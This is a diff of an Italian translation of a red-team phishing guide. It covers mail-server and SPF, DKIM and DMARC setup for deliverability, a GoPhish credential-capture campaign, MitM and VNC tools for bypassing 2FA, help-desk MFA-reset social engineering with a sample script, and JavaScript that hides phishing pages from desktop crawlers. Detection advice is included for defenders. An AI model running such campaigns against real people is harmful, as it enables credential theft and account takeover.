mkdir /opt/gophish/ssl_keys cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt​ ``` -**Configurazione della posta** +**Configurazione Mail** Inizia l'installazione: `apt-get install postfix` @@ -122,16 +122,16 @@ Poi aggiungi il dominio ai seguenti file: - **/etc/postfix/transport** - **/etc/postfix/virtual_regexp** -**Modifica anche i valori delle seguenti variabili dentro /etc/postfix/main.cf** +**Cambia anche i valori delle seguenti variabili all'interno di /etc/postfix/main.cf** `myhostname = `\ `mydestination = $myhostname, , localhost.com, localhost` Infine modifica i file **`/etc/hostname`** e **`/etc/mailname`** con il tuo nome di dominio e **riavvia il tuo VPS.** -Ora, crea un **DNS A record** per `mail.` che punti all'**indirizzo IP** del VPS e un record **DNS MX** che punti a `mail.` +Ora, crea un **record DNS A** per `mail.` che punti all'**indirizzo IP** della VPS e un **record DNS MX** che punti a `mail.` -Ora proviamo a inviare un'email: +Ora testiamo l'invio di un'email: ```bash apt install mailutils echo "This is the body of the email" | mail -s "This is the subject line" test@email.com @@ -164,9 +164,9 @@ Modifica `/opt/gophish/config.json` come segue (nota l'uso di https): } } ``` -**Configurare il servizio gophish** +**Configura il servizio gophish** -Per creare il servizio gophish in modo che possa essere avviato automaticamente e gestito come servizio, è possibile creare il file `/etc/init.d/gophish` con il seguente contenuto: +Per creare il servizio gophish in modo che possa essere avviato automaticamente e gestito come servizio, puoi creare il file `/etc/init.d/gophish` con il seguente contenuto: ```bash #!/bin/bash # /etc/init.d/gophish @@ -224,55 +224,55 @@ service gophish status ss -l | grep "3333\|443" service gophish stop ``` -## Configurazione del server mail e del dominio +## Configurare il server di posta e il dominio -### Aspetta e sii legittimo +### Aspetta e sii credibile -Più un dominio è vecchio, meno è probabile che venga classificato come spam. Dovresti quindi attendere il più a lungo possibile (almeno 1 settimana) prima del phishing assessment. Inoltre, se pubblichi una pagina relativa a un settore con buona reputazione, la reputazione ottenuta sarà migliore. +Più vecchio è un dominio, meno è probabile che venga contrassegnato come spam. Quindi dovresti aspettare il più possibile (almeno 1 settimana) prima della valutazione di phishing. Inoltre, se pubblichi una pagina relativa a un settore con buona reputazione, la reputazione ottenuta sarà migliore. -Nota che, anche se devi aspettare una settimana, puoi comunque completare ora tutta la configurazione. +Nota che anche se devi aspettare una settimana, puoi completare la configurazione di tutto adesso. -### Configura il record Reverse DNS (rDNS) +### Configurare il record Reverse DNS (rDNS) -Imposta un record rDNS (PTR) che risolva l'indirizzo IP del VPS nel nome di dominio. +Imposta un record rDNS (PTR) che risolva l'indirizzo IP della VPS nel nome di dominio. ### Sender Policy Framework (SPF) Record -Devi **configurare un record SPF per il nuovo dominio**. Se non sai cos'è un record SPF [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#spf). +Devi **configurare un SPF record per il nuovo dominio**. Se non sai cos'è un SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf). Puoi usare [https://www.spfwizard.net/](https://www.spfwizard.net) per generare la tua policy SPF (usa l'IP della macchina VPS) ![](<../../images/image (1037).png>) -Questo è il contenuto da impostare in un record TXT del dominio: +Questo è il contenuto che deve essere impostato all'interno di un TXT record nel dominio: ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` -### Record DMARC (Autenticazione dei messaggi basata sul dominio, reporting e conformità) +### Record DMARC (Autenticazione, Reporting e Conformità basati sul dominio) Devi **configurare un record DMARC per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). -Devi creare un nuovo record DNS TXT che punti al nome host `_dmarc.` con il seguente contenuto: +Devi creare un nuovo record DNS TXT che punti all'hostname `_dmarc.` con il seguente contenuto: ```bash v=DMARC1; p=none ``` ### DomainKeys Identified Mail (DKIM) -Devi **configurare un DKIM per il nuovo dominio**. Se non sai cos'è un record DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). +Devi **configurare un DKIM per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). Questo tutorial si basa su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) > [!TIP] -> Devi concatenare entrambi i valori B64 che la chiave DKIM genera: +> È necessario concatenare entrambi i valori B64 che la chiave DKIM genera: > > ``` > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB > ``` -### Testa il punteggio della configurazione della tua email +### Test your email configuration score Puoi farlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\ -Basta accedere alla pagina e inviare un'email all'indirizzo che ti indicano: +Accedi alla pagina e invia un'email all'indirizzo che ti forniscono: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` @@ -288,7 +288,7 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` -Puoi anche inviare **un messaggio a un account Gmail sotto il tuo controllo**, e controllare le **intestazioni dell'email** nella tua casella Gmail: `dkim=pass` dovrebbe essere presente nel campo header `Authentication-Results`. +Puoi anche inviare un **messaggio a un account Gmail sotto il tuo controllo** e controllare le **intestazioni dell'email** nella tua casella di posta Gmail: `dkim=pass` dovrebbe essere presente nel campo di intestazione `Authentication-Results`. ``` Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; @@ -296,32 +296,32 @@ dkim=pass header.i=@example.com; ``` ### ​Rimozione dalla Spamhouse Blacklist -La pagina [www.mail-tester.com](https://www.mail-tester.com) può indicarti se il tuo dominio è bloccato da spamhouse. Puoi richiedere la rimozione del tuo dominio/IP su: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +La pagina [www.mail-tester.com](https://www.mail-tester.com) può indicare se il tuo dominio è bloccato da Spamhouse. Puoi richiedere la rimozione del tuo dominio/IP su: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) ### Rimozione dalla Microsoft Blacklist ​​Puoi richiedere la rimozione del tuo dominio/IP su [https://sender.office.com/](https://sender.office.com). -## Create & Launch GoPhish Campaign +## Creare e lanciare una campagna GoPhish -### Sending Profile +### Profilo mittente -- Inserisci un **nome per identificare** il profilo mittente +- Imposta un **nome identificativo** per il profilo mittente - Decidi da quale account invierai le email di phishing. Suggerimenti: _noreply, support, servicedesk, salesforce..._ -- Puoi lasciare vuoti username e password, ma assicurati di selezionare Ignore Certificate Errors +- Puoi lasciare vuoti username e password, ma assicurati di selezionare "Ignore Certificate Errors" ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!TIP] -> È consigliato utilizzare la funzionalità "**Send Test Email**" per verificare che tutto funzioni.\ -> Consiglio di **inviare le test email a 10min mails addresses** per evitare di finire in blacklist durante i test. +> Si consiglia di utilizzare la funzionalità "**Send Test Email**" per verificare che tutto funzioni.\ +> Raccomando di **inviare le email di test a indirizzi 10min mail** per evitare di finire in blacklist durante i test. -### Email Template +### Modello email -- Inserisci un **nome per identificare** il template -- Poi scrivi un **subject** (niente di strano, qualcosa che ci si aspetterebbe di leggere in una email normale) +- Imposta un **nome identificativo** per il modello +- Poi scrivi un **oggetto** (niente di strano, qualcosa che ti aspetteresti di leggere in una normale email) - Assicurati di aver selezionato "**Add Tracking Image**" -- Scrivi il **email template** (puoi usare variabili come nel seguente esempio): +- Scrivi il **template dell'email** (puoi usare variabili come nell'esempio seguente): ```html @@ -340,20 +340,20 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -Nota che **per aumentare la credibilità dell'email** è raccomandato usare qualche firma presa da un'email del cliente. Suggerimenti: +Nota che **per aumentare la credibilità dell'email**, è consigliabile usare qualche firma recuperata da un'email del cliente. Suggerimenti: -- Invia un'email a un **indirizzo inesistente** e verifica se la risposta contiene una firma. -- Cerca **email pubbliche** come info@ex.com o press@ex.com o public@ex.com e invia loro un'email aspettando la risposta. -- Prova a contattare **un indirizzo valido scoperto** e attendi la risposta +- Invia un'email a un **indirizzo inesistente** e verifica se la risposta contiene qualche firma. +- Cerca **email pubbliche** come info@ex.com o press@ex.com o public@ex.com e inviagli un'email, poi attendi la risposta. +- Prova a contattare **alcuni indirizzi validi scoperti** e attendi la risposta. ![](<../../images/image (80).png>) > [!TIP] -> The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). +> Il template Email permette anche di **allegare file da inviare**. Se vuoi anche rubare challenge NTLM usando file/documenti appositamente creati [leggi questa pagina](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). ### Landing Page -- Inserisci un **nome** +- Scrivi un **nome** - **Scrivi il codice HTML** della pagina web. Nota che puoi **importare** pagine web. - Seleziona **Capture Submitted Data** e **Capture Passwords** - Imposta una **redirection** @@ -361,44 +361,44 @@ Nota che **per aumentare la credibilità dell'email** è raccomandato usare qual ![](<../../images/image (826).png>) > [!TIP] -> Solitamente dovrai modificare il codice HTML della pagina e fare dei test in locale (magari usando un server Apache) **fino a quando non sei soddisfatto del risultato.** Poi, incolla quel codice HTML nella casella.\ -> Nota che se hai bisogno di **utilizzare risorse statiche** per l'HTML (per esempio CSS o JS) puoi salvarle in _**/opt/gophish/static/endpoint**_ e poi accedervi da _**/static/\**_ +> Di solito dovrai modificare il codice HTML della pagina e fare dei test in locale (magari usando un server Apache) **finché non sei soddisfatto del risultato.** Poi incolla quel codice HTML nella casella.\ +> Nota che se hai bisogno di **usare risorse statiche** per l'HTML (ad esempio dei file CSS o JS) puoi salvarle in _**/opt/gophish/static/endpoint**_ e poi richiamarle da _**/static/\**_ > [!TIP] -> Per la redirection potresti **reindirizzare gli utenti alla pagina principale legittima** della vittima, oppure reindirizzarli a _/static/migration.html_ ad esempio, mettere una **ruota che gira (**[**https://loading.io/**](https://loading.io)**) per 5 secondi e poi indicare che il processo è stato completato con successo**. +> Per la redirezione potresti **riindirizzare gli utenti alla pagina principale legittima** della vittima, oppure reindirizzarli a _/static/migration.html_, mettere una **spinning wheel** ([https://loading.io/](https://loading.io/)) per 5 secondi e poi indicare che il processo è andato a buon fine. ### Users & Groups - Imposta un nome -- **Importa i dati** (nota che per usare il template di esempio hai bisogno del firstname, last name e email address di ogni utente) +- **Importa i dati** (nota che per usare il template di esempio ti servono firstname, last name e email di ogni utente) ![](<../../images/image (163).png>) ### Campaign -Infine, crea una campagna selezionando un nome, l'email template, la landing page, l'URL, il sending profile e il gruppo. Nota che l'URL sarà il link inviato alle vittime +Infine, crea una campaign selezionando un nome, il template email, la landing page, l'URL, il sending profile e il gruppo. Nota che l'URL sarà il link inviato alle vittime. -Nota che il **Sending Profile permette di inviare un'email di test per vedere come apparirà l'email di phishing finale**: +Nota che il **Sending Profile permette di inviare una email di test per vedere come apparirà l'email di phishing finale**: ![](<../../images/image (192).png>) > [!TIP] -> Raccomando di **inviare le email di test a indirizzi 10min mails** per evitare di essere inseriti in blacklist durante i test. +> Consiglio di **inviare le email di test a indirizzi 10min mails** per evitare di essere inseriti in blacklist durante i test. -Una volta pronto tutto, lancia la campagna! +Una volta che tutto è pronto, avvia la campaign! -## Clonazione del sito web +## Website Cloning -Se per qualsiasi motivo vuoi clonare il sito web consulta la seguente pagina: +Se per qualche motivo vuoi clonare il sito web, consulta la seguente pagina: {{#ref}} clone-a-website.md {{#endref}} -## File e documenti con backdoor +## Backdoored Documents & Files -In alcune valutazioni di phishing (soprattutto per Red Teams) vorrai anche **inviare file che contengano una qualche backdoor** (magari un C2 o magari solo qualcosa che scateni un'autenticazione).\ +In alcune valutazioni di phishing (soprattutto per Red Teams) vorrai anche **inviare file contenenti una backdoor** (magari una C2 o qualcosa che inneschi un'autenticazione).\ Dai un'occhiata alla seguente pagina per alcuni esempi: @@ -410,53 +410,53 @@ phishing-documents.md ### Via Proxy MitM -L'attacco precedente è piuttosto efficace perché stai falsificando un sito reale e raccogliendo le informazioni inserite dall'utente. Sfortunatamente, se l'utente non inserisce la password corretta o se l'applicazione che hai falsificato è configurata con 2FA, **queste informazioni non ti permetteranno di impersonare l'utente raggirato**. +L'attacco precedente è piuttosto astuto perché stai falsificando un sito reale e raccogliendo le informazioni inserite dall'utente. Purtroppo, se l'utente non ha inserito la password corretta o se l'applicazione che hai falsificato è configurata con 2FA, **queste informazioni non ti permetteranno di impersonare l'utente ingannato**. -Qui entrano in gioco strumenti come [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena). Questi strumenti permettono di generare un attacco MitM. Fondamentalmente, l'attacco funziona così: +Qui entrano in gioco strumenti come [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena). Questi tool ti permettono di generare un attacco MitM. Fondamentalmente, l'attacco funziona così: 1. Tu **falsifichi il form di login** della pagina reale. -2. L'utente **invia** le sue **credenziali** alla tua pagina fake e lo strumento le invia alla pagina reale, **verificando se le credenziali funzionano**. -3. Se l'account è configurato con **2FA**, la pagina MitM richiederà il codice e una volta che **l'utente lo inserisce** lo strumento lo inoltrerà alla pagina web reale. -4. Una volta che l'utente è autenticato tu (come attaccante) avrai **catturato le credenziali, la 2FA, il cookie e qualsiasi informazione** di ogni interazione mentre lo strumento esegue il MitM. +2. L'utente **inviasse** le sue **credenziali** alla tua pagina fake e lo strumento le invia alla pagina reale, **verificando se le credenziali sono valide**. +3. Se l'account è configurato con **2FA**, la pagina MitM chiederà il codice e una volta che **l'utente lo inserisce** lo strumento lo invierà alla pagina reale. +4. Una volta che l'utente è autenticato tu (come attaccante) avrai **catturato le credenziali, il 2FA, il cookie e tutte le informazioni** di ogni interazione mentre lo strumento effettua il MitM. ### Via VNC -E se invece di **inviare la vittima a una pagina malevola** dall'aspetto identico all'originale, la mandi a una **sessione VNC con un browser connesso alla pagina reale**? Potrai vedere cosa fa, rubare la password, l'MFA usata, i cookie...\ +E se invece di **inviare la vittima a una pagina malevola** con lo stesso aspetto dell'originale, la mandi a una **sessione VNC con un browser connesso alla pagina reale**? Potrai vedere cosa fa, rubare la password, l'MFA usata, i cookie...\ Puoi farlo con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) -## Rilevare di essere stati scoperti +## Detecting the detection -Ovviamente uno dei modi migliori per sapere se sei stato beccato è **cercare il tuo dominio nelle blacklist**. Se appare elencato, in qualche modo il tuo dominio è stato rilevato come sospetto.\ -Un modo semplice per verificare se il tuo dominio appare in qualche blacklist è usare [https://malwareworld.com/](https://malwareworld.com) +Ovviamente uno dei modi migliori per sapere se sei stato scoperto è **cercare il tuo dominio nelle blacklist**. Se risulta presente, in qualche modo il tuo dominio è stato rilevato come sospetto.\ +Un modo semplice per verificare se il tuo dominio è presente in qualche blacklist è usare [https://malwareworld.com/](https://malwareworld.com) -Tuttavia, ci sono altri modi per capire se la vittima sta **attivamente cercando attività di phishing sospette** in circolazione, come spiegato in: +Tuttavia, ci sono altri modi per capire se la vittima sta **attivamente cercando attività di phishing sospette** nel mondo reale, come spiegato in: {{#ref}} detecting-phising.md {{#endref}} -Puoi **comprare un dominio con un nome molto simile** a quello della vittima **e/o generare un certificato** per un **sottodominio** di un dominio controllato da te **contenente** la **parola chiave** del dominio della vittima. Se la **vittima** effettua qualsiasi tipo di **interazione DNS o HTTP** con essi, saprai che **sta cercando attivamente** domini sospetti e dovrai essere molto stealth. +Puoi **acquistare un dominio con un nome molto simile** a quello della vittima **e/o generare un certificato** per un **sottodominio** di un dominio controllato da te **contenente** la **parola chiave** del dominio della vittima. Se la **vittima** effettua qualsiasi tipo di **interazione DNS o HTTP** con essi, saprai che **sta cercando attivamente** domini sospetti e dovrai essere molto stealth. -### Valutare il phishing +### Evaluate the phishing -Usa [**Phishious** ](https://github.com/Rices/Phishious) per valutare se la tua email finirà nella cartella spam o se verrà bloccata o avrà successo. +Usa [**Phishious**](https://github.com/Rices/Phishious) per valutare se la tua email finirà nella cartella spam, se verrà bloccata o se avrà successo. ## High-Touch Identity Compromise (Help-Desk MFA Reset) -I moderni set di intrusione sempre più spesso evitano completamente gli esche via email e **mirano direttamente al servizio di help-desk / al workflow di recovery dell'identità** per bypassare l'MFA. L'attacco è totalmente "living-off-the-land": una volta che l'operatore ottiene credenziali valide pivotano con strumenti amministrativi integrati – non è necessario malware. +Set di intrusioni moderni sempre più spesso saltano completamente le email di lure e **puntano direttamente al workflow di service-desk / identity-recovery** per bypassare l'MFA. L'attacco è totalmente "living-off-the-land": una volta ottenute credenziali valide l'operatore pivota con strumenti amministrativi integrati – nessun malware è necessario. -### Flusso dell'attacco -1. Recon sulla vittima -* Raccogli dettagli personali e aziendali da LinkedIn, breach di dati, GitHub pubblico, ecc. -* Identifica identità ad alto valore (dirigenti, IT, finance) e enumera il **preciso processo di help-desk** per il reset di password / MFA. +### Attack flow +1. Recon della vittima +* Raccogli dettagli personali e aziendali da LinkedIn, data breaches, GitHub pubblico, ecc. +* Identifica identità ad alto valore (executive, IT, finance) e enumera il **processo esatto dell'help-desk** per il reset di password / MFA. 2. Social engineering in tempo reale -* Chiama, contatta via Teams o chat l'help-desk impersonando la vittima (spesso con **spoofed caller-ID** o **voce clonata**). -* Fornisci i PII raccolti in precedenza per superare la verifica basata sulla conoscenza. -* Convincere l'agente a **resettare il secret MFA** o eseguire un **SIM-swap** su un numero mobile registrato. -3. Azioni immediate post-accesso (≤60 min in casi reali) -* Stabilisci un foothold tramite qualsiasi portale web SSO. -* Enumera AD / AzureAD con strumenti integrati (nessun binary lasciato): +* Chiama, usa Teams o chatta con l'help-desk impersonando il target (spesso con **caller-ID spoofato** o **voce clonata**). +* Fornisci il PII raccolto in precedenza per superare la verifica basata sulla conoscenza. +* Convincere l'operatore a **resettare il secret MFA** o a effettuare un **SIM-swap** su un numero mobile registrato. +3. Azioni post-accesso immediate (≤60 min nei casi reali) +* Stabilisci un foothold tramite qualsiasi web SSO portal. +* Enumera AD / AzureAD con strumenti integrati (nessun binario scaricato): ```powershell # list directory groups & privileged roles Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} @@ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id # Enumerate devices the account can login to Get-MgUserRegisteredDevice -UserId ``` -* Movimento laterale con **WMI**, **PsExec**, o agenti legittimi **RMM** già nella whitelist dell'ambiente. +* Movimenti laterali con **WMI**, **PsExec**, o agenti **RMM** legittimi già whitelistati nell'ambiente. -### Rilevazione e mitigazione -* Tratta il recovery dell'identità tramite help-desk come un'**operazione privilegiata** – richiedi step-up auth e approvazione del manager. -* Distribuisci regole **Identity Threat Detection & Response (ITDR)** / **UEBA** che generino alert su: - * Metodo MFA cambiato + autenticazione da nuovo dispositivo / nuova geo. - * Immediata elevazione dello stesso principal (user → admin). -* Registra le chiamate dell'help-desk e imposta un **call-back a un numero già registrato** prima di qualsiasi reset. +### Detection & Mitigation +* Tratta il recovery identità via help-desk come un'operazione **privilegiata** – richiedi step-up auth e approvazione del manager. +* Deploya regole **Identity Threat Detection & Response (ITDR)** / **UEBA** che generino alert su: +* Metodo MFA cambiato + autenticazione da nuovo dispositivo / geo. +* Immediate elevazioni dello stesso principal (user → admin). +* Registra le chiamate dell'help-desk e applica un **call-back a un numero già registrato** prima di qualunque reset. * Implementa **Just-In-Time (JIT) / Privileged Access** in modo che gli account appena resettati **non** ereditino automaticamente token ad alto privilegio. --- -## Inganno su larga scala – SEO Poisoning & campagne “ClickFix” -Gruppi commodity compensano il costo delle operazioni high-touch con attacchi di massa che trasformano **motori di ricerca & reti pubblicitarie nel canale di consegna**. +## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns +Gruppi commodity compensano il costo delle operazioni high-touch con attacchi di massa che trasformano **motori di ricerca & reti pubblicitarie nel canale di distribuzione**. -1. **SEO poisoning / malvertising** spinge un risultato falso come `chromium-update[.]site` tra i primi annunci di ricerca. +1. **SEO poisoning / malvertising** spinge un risultato fake come `chromium-update[.]site` in cima agli annunci di ricerca. 2. La vittima scarica un piccolo **first-stage loader** (spesso JS/HTA/ISO). Esempi osservati da Unit 42: * `RedLine stealer` * `Lumma stealer` * `Lampion Trojan` -3. Il loader esfiltra cookie del browser + database credenziali, poi scarica un **silent loader** che decide – *in tempo reale* – se distribuire: +3. Il loader esfiltra cookie del browser + database di credenziali, poi scarica un **silent loader** che decide – *in tempo reale* – se distribuire: * RAT (es. AsyncRAT, RustDesk) * ransomware / wiper -* componente di persistenza (chiave Run del registro + scheduled task) +* componente di persistenza (chiave Run nel registro + scheduled task) -### Consigli per hardening -* Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** sia sugli *search-ads* sia sulle email. -* Restringi l'installazione di software a pacchetti MSI firmati / Store, nega l'esecuzione di `HTA`, `ISO`, `VBS` tramite policy. -* Monitora processi figli dei browser che aprono installer: +### Hardening tips +* Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** sia sugli annunci di ricerca sia sulle email. +* Restringi l'installazione di software a pacchetti MSI firmati / Store, vieta l'esecuzione di `HTA`, `ISO`, `VBS` tramite policy. +* Monitora i processi figli dei browser che aprono installer: ```yaml - parent_image: /Program Files/Google/Chrome/* and child_image: *\\*.exe ``` -* Caccia le LOLBins frequentemente abusate dai first-stage loader (es. `regsvr32`, `curl`, `mshta`). +* Cerca LOLBins frequentemente abusati dai first-stage loader (es. `regsvr32`, `curl`, `mshta`). --- -## Operazioni di phishing potenziate dall'AI -Gli attaccanti ora concatenano **API LLM & voice-clone** per esche totalmente personalizzate e interazioni in tempo reale. +## AI-Enhanced Phishing Operations +Gli attaccanti ora concatenano **API LLM & voice-clone** per lure completamente personalizzati e interazioni in tempo reale. -| Layer | Esempio d'uso da parte di un threat actor | -|-------|-------------------------------------------| -|Automazione|Generare e inviare >100k email / SMS con testi randomizzati & link di tracking.| -|AI generativa|Produrre email *one-off* che citano M&A pubblici, battute interne dai social; deep-fake della voce del CEO in una chiamata di callback.| -|AI agentica|Registrare domini autonomamente, scrape di intel open-source, creare mail di follow-up quando una vittima clicca ma non invia credenziali.| +| Layer | Example use by threat actor | +|-------|-----------------------------| +|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.| +|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.| +|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.| **Difesa:** -• Aggiungi **banner dinamici** che evidenzino messaggi inviati da automazione non attendibile (via anomalie ARC/DKIM). -• Distribuisci **frasi di challenge biometrica vocale** per richieste telefoniche ad alto rischio. -• Simula continuamente esche generate da AI nei programmi di awareness – i template statici sono obsoleti. +• Aggiungi **banner dinamici** che evidenzino messaggi inviati da automazioni non attendibili (tramite anomalie ARC/DKIM). +• Deploya **challenge biometriche vocali** per le richieste telefoniche ad alto rischio. +• Simula continuamente lure generati da AI nei programmi di awareness – i template statici sono obsoleti. See also – agentic browsing abuse for credential phishing: @@ -527,19 +527,19 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md --- ## MFA Fatigue / Push Bombing Variant – Forced Reset -Oltre al classico push-bombing, gli operatori semplicemente **forzano una nuova registrazione MFA** durante la chiamata con l'help-desk, azzerando il token esistente dell'utente. Qualsiasi prompt di login successivo apparirà legittimo alla vittima. +Oltre al classico push-bombing, gli operatori semplicemente **forzano una nuova registrazione MFA** durante la chiamata all'help-desk, annullando il token esistente dell'utente. Qualsiasi successiva richiesta di login apparirà legittima per la vittima. ```text [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail [Attacker] → Completes new TOTP enrolment on their own device ``` -Monitorare eventi di AzureAD/AWS/Okta in cui **`deleteMFA` + `addMFA`** si verificano **dallo stesso IP entro pochi minuti**. +Monitor for AzureAD/AWS/Okta events where **`deleteMFA` + `addMFA`** occur **within minutes from the same IP**. ## Clipboard Hijacking / Pastejacking -Gli attaccanti possono copiare silenziosamente comandi malevoli negli appunti (clipboard) della vittima da una pagina web compromessa o typosquatted e poi indurre l'utente a incollarli in **Win + R**, **Win + X** o in una finestra del terminale, eseguendo codice arbitrario senza alcun download o allegato. +Gli aggressori possono copiare silenziosamente comandi malevoli nella clipboard della vittima da una pagina web compromessa o typosquatted e poi indurre l'utente a incollarli dentro **Win + R**, **Win + X** o una terminal window, eseguendo codice arbitrario senza alcun download o attachment. {{#ref}} @@ -553,6 +553,33 @@ clipboard-hijacking.md mobile-phishing-malicious-apps.md {{#endref}} +### Mobile‑gated phishing to evade crawlers/sandboxes +Gli operatori mettono sempre più spesso i loro flussi di phishing dietro un semplice controllo del dispositivo, in modo che i desktop crawlers non raggiungano mai le pagine finali. Uno schema comune è uno script che verifica se il DOM è touch-capable e invia il risultato a un server endpoint; i client non‑mobile ricevono HTTP 500 (o una pagina vuota), mentre agli utenti mobile viene servito il flusso completo. + +Minimal client snippet (typical logic): +```html + +``` +`detect_device.js` logica (semplificata): +```javascript +const isMobile = ('ontouchstart' in document.documentElement); +fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})}) +.then(()=>location.reload()); +``` +Comportamento del server spesso osservato: +- Imposta un cookie di sessione durante il primo caricamento. +- Accetta `POST /detect {"is_mobile":true|false}`. +- Restituisce 500 (o placeholder) alle GET successive quando `is_mobile=false`; serve il phishing solo se `true`. + +Euristiche di ricerca e rilevamento: +- urlscan query: `filename:"detect_device.js" AND page.status:500` +- Telemetria web: sequenza di `GET /static/detect_device.js` → `POST /detect` → HTTP 500 per non‑mobile; i percorsi legittimi per vittime mobile restituiscono 200 con HTML/JS successivo. +- Bloccare o esaminare con attenzione le pagine che condizionano il contenuto esclusivamente su `ontouchstart` o controlli di dispositivo simili. + +Consigli di difesa: +- Eseguire crawler con fingerprint simili a dispositivi mobile e JS abilitato per rivelare contenuti protetti. +- Generare allerta su risposte 500 sospette successive a `POST /detect` su domini appena registrati. + ## Riferimenti - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) @@ -560,5 +587,6 @@ mobile-phishing-malicious-apps.md - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) +- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) {{#include ../../banners/hacktricks-training.md}}